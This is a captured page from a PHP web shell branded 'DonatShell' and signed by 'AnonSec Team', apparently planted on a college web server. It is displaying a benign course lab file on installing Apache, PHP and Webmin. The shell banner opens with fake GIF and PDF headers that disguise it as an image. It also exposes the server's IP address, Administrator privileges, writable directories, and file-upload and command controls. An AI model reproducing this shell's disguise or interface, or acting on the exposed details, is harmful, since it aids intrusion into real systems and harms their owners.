GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2608/Labs/_Archive/Lab06/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2608/Labs/_Archive/Lab06/Lab06.phpinc
<?
// JimMartinson/CST2608/Labs/Lab06/index.php

include('Course/courseInfo.phpinc');
include('../../classInfo.phpinc');

$evaluationTitle = "Web server";
$evaluationNumber = twoDigit($evaluationNumber);
$evaluationType = "Lab";
$evaluationTitle = $evaluationTitle;
if (strlen($evaluationNumber) == 1) { $evaluationName = $evaluationType."0".$evaluationNumber; $evaluationName = $evaluationType."0".$evaluationNumber; } else { 
$evaluationName = $evaluationType.$evaluationNumber; $evaluationName = $evaluationType.$evaluationNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;

$title = $evaluationType." ".$evaluationNumber.": ".$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$js='openCenteredWindow';
include('common/pageHeader.phpinc');
include('JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc');
include('Gradebook/EvaluationSubmission_BEGIN.phpinc');
require('common/Browser/Browser.phpinc');
$uploadFilename = $courseNumber.'-'.$userFileName.'-'.$evaluationName.'.zip';
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
include('common/sectionHeader.phpinc');
?>
<fieldset><legend>Description</legend>
Setup a Web server and PHP.
<?=$gradeNote?>
</fieldset>

<p>
<fieldset><legend>Lab Instruction</legend>
<ol start="1">
  <li>Install Apache Web Server.
  	<ol type="a">
			<li>Install Apache2 Web Server as per Chapter 11 <i>Web Servers</i> in the <a href="/JimMartinson/CST2608/dn/Ubuntu/Ubuntu12.04_ServerGuide.pdf">Ubuntu 12.04 Server Guide</a>.</li>
      <li>Restart Apache.
      	<br><kbd>sudo service apache2 restart</kbd>
      </li>
      <li>Test your installation.
      	<br>Open a brower and enter your server name in the location bar(<b><?=$Uservername?>.ubuntu.loc</b>).
      </li>
      <li>Edit the index.html file.
      	<br><kbd>sudo pico /var/www/index.html</kbd>
      </li>
      <li>Replace the text in the index.html file with this:
        <pre class="code">&lt;html>
&lt;head>
	&lt;title><?=$_SESSION['userFullName']?>'s Website&lt;/title>
&lt;/head>
&lt;body>
&lt;h1>It works for <?=$_SESSION['userFullName']?>!&lt;/h1>
&lt;p>
Test PHP by loading the &lt;a href="phpinfo.php">phpinfo.php&lt;/a> page.
&lt;/body>
&lt;/html></pre>
      </li>
			<li>Open a browser and go to <b><?=$Uservername?>.ubuntu.loc</b>.
				<? $postfix = 'a'; ?>
				<br>Take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?><?=$postfix?>-<?=$userFileName?>.png</b>.
				<br><div id="show<?=$evaluationNumber?><?=$postfix?>" class="inline">(<a href="#" onClick="divHide('show<?=$evaluationNumber?><?=$postfix?>'); divShow('<?=$evaluationNumber?><?=$postfix?>'); return false;">See example</a>)</div>
				<div id="<?=$evaluationNumber?><?=$postfix?>" class="hidden">(<a href="#" onClick="divHide('<?=$evaluationNumber?><?=$postfix?>'); divShowInline('show<?=$evaluationNumber?><?=$postfix?>'); return false;">Hide example</a>)<br>
				<? BrowserBegin("Jim Martinson's Website",$Uservername.'.ubuntu.loc',850); ?>
				<img src="images/CST2608-Lab<?=$evaluationNumber?><?=$postfix?>-JimMartinson.png" title="Example screenshot">
				<? BrowserEnd(); ?>
				</div>
			</li>
    </ol> 
  </li>
  <li>Install PHP.
  	<ol type="a">
			<li>Install PHP as per Chapter 11 <i>Web Servers</i> in the <a href="/JimMartinson/CST2608/dn/Ubuntu/Ubuntu12.04_ServerGuide.pdf">Ubuntu 12.04 Server Guide</a>.</li>
      <li>Restart Apache.
      	<br><kbd>sudo service apache2 restart</kbd>
      </li>
      <li>Test your installation.
      	<br>Open a brower and enter your server name in the location bar (<b><?=$Uservername?>.ubuntu.loc</b>).
      </li>
      <li>Create the phpinfo.php file.
      	<br><kbd>sudo pico /var/www/phpinfo.php</kbd>
        <br>Enter the following:
        <pre class="code">&lt;?php
print "&lt;h1&gt;<?=$_SESSION['userFullName']?>&lt;/h1&gt;";
phpinfo();
?>
</pre>
      </li>
			<li>Back in the browser, click on the phpinfo.php link.
				<? $postfix = 'b'; ?>
				<br>Take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?><?=$postfix?>-<?=$userFileName?>.png</b>.
				<br><div id="show<?=$evaluationNumber?><?=$postfix?>" class="inline">(<a href="#" onClick="divHide('show<?=$evaluationNumber?><?=$postfix?>'); divShow('<?=$evaluationNumber?><?=$postfix?>'); return false;">See example</a>)</div>
				<div id="<?=$evaluationNumber?><?=$postfix?>" class="hidden">(<a href="#" onClick="divHide('<?=$evaluationNumber?><?=$postfix?>'); divShowInline('show<?=$evaluationNumber?><?=$postfix?>'); return false;">Hide example</a>)<br>
				<? BrowserBegin("Jim Martinson's Website",$Uservername.'.ubuntu.loc',850); ?>
				<h1><?=$_SESSION['userFullName']?></h1>
				<img src="images/CST2608-Lab<?=$evaluationNumber?><?=$postfix?>-JimMartinson.png" title="Example screenshot">
				<? BrowserEnd(); ?>
				</div>
			</li>
    </ol> 
  </li>
	<li>Get Apache working with Webmin.
		<ol type="a">
			<li>Get Apache working with Webmin.</li>
			<li>Open Webmin in your browser and go to <b>Servers/Apache Webserver</b>.
				<? $postfix = 'c'; ?>
				<br>Take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?><?=$postfix?>-<?=$userFileName?>.png</b>.
				<br><div id="show<?=$evaluationNumber?><?=$postfix?>" class="inline">(<a href="#" onClick="divHide('show<?=$evaluationNumber?><?=$postfix?>'); divShow('<?=$evaluationNumber?><?=$postfix?>'); return false;">See example</a>)</div>
				<div id="<?=$evaluationNumber?><?=$postfix?>" class="hidden">(<a href="#" onClick="divHide('<?=$evaluationNumber?><?=$postfix?>'); divShowInline('show<?=$evaluationNumber?><?=$postfix?>'); return false;">Hide example</a>)<br>
				<? BrowserBegin("Jim Martinson's Website",$Uservername.'.ubuntu.loc',850); ?>
				<img src="images/CST2608-Lab<?=$evaluationNumber?><?=$postfix?>-JimMartinson.png" title="Example screenshot">
				<? BrowserEnd(); ?>
				</div>
			</li>
		</ol>
	</li>
	<li>Get PHP working with Webmin.
		<ol type="a">
			<li>Get PHP working with Webmin.</li>
			<li>Open Webmin in your browser and go to <b>Others/PHP Configuration</b>.
				<? $postfix = 'd'; ?>
				<br>Take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?><?=$postfix?>-<?=$userFileName?>.png</b>.
				<br><div id="show<?=$evaluationNumber?><?=$postfix?>" class="inline">(<a href="#" onClick="divHide('show<?=$evaluationNumber?><?=$postfix?>'); divShow('<?=$evaluationNumber?><?=$postfix?>'); return false;">See example</a>)</div>
				<div id="<?=$evaluationNumber?><?=$postfix?>" class="hidden">(<a href="#" onClick="divHide('<?=$evaluationNumber?><?=$postfix?>'); divShowInline('show<?=$evaluationNumber?><?=$postfix?>'); return false;">Hide example</a>)<br>
				<? BrowserBegin("Jim Martinson's Website",$Uservername.'.ubuntu.loc',850); ?>
				<img src="images/CST2608-Lab<?=$evaluationNumber?><?=$postfix?>-JimMartinson.png" title="Example screenshot">
				<? BrowserEnd(); ?>
				</div>
			</li>
		</ol>
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Copy <code>/etc/apache2/sites-available/default</code> to your <b><?=$evaluationName?></b> folder.</li>
			<li>Copy <code>/var/www/index.html</code> to your <b><?=$evaluationName?></b> folder.</li>
			<li>Copy <code>/var/www/phpinfo.php</code> to your <b><?=$evaluationName?></b> folder.</li>
			<li>Make sure the following files are in your <b><?=$evaluationName?></b> folder:
				<ol type="a">
					<li><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>c-<?=$userFileName?>.png.</li>
					<li><?=$courseNumber?>-<?=$evaluationName?>d-<?=$userFileName?>.png.</li>
					<li>/etc/apache2/sites-available/default</li>
					<li>/var/www/index.html</li>
					<li>/var/www/phpinfo.php</li>
				</ol>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload"></li>
			<li>Then <input type="submit" name="f_subtask" value="Submit"> for grading.</li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<?
include('Gradebook/EvaluationSubmission_END.phpinc');
?>
<fieldset><legend>Grading Criteria</legend>
Demonstrated assignment effectively: 10 points.
<br>
There are some things I expect. If they are incorrect you will lose the following:
<br>
Incorrect attachment file name: -1 pt.
<br>
Work submitted incorrectly: -1pt.
<br>
Incorrect subject in email: -1pt.
<br>
Second and subsequent submission of work for grading: -1pt.
<br>
Work submitted late: -1pt per week.
</fieldset>

<!--
<fieldset class="pio"><legend>Objectives</legend>
<ol class="obj pio" start="22">
	<li>Describe web hosting.</li>
	<li>Install and configure web hosting services such as Apache Web Server and PHP.</li>
	<li>Use web services.</li>
</ol>
</fieldset>

<fieldset><legend>Notes</legend>
See <a href="Lab08/Notes">Notes</a>.<br>
Here is a <a href="Labs/<?=$evaluationName?>/<?=$evaluationName?>.zip"><?=$evaluationName?>.zip</a> file with examples of what must be turned in as well as pico and sudo scripts to help with the assignment.<br>
</fieldset>
-->

<?
include('../../ReferencesResources.phpinc');
include('common/sectionFooter.phpinc');
include('common/pageFooter.phpinc');


?>

Anon7 - 2022
AnonSec Team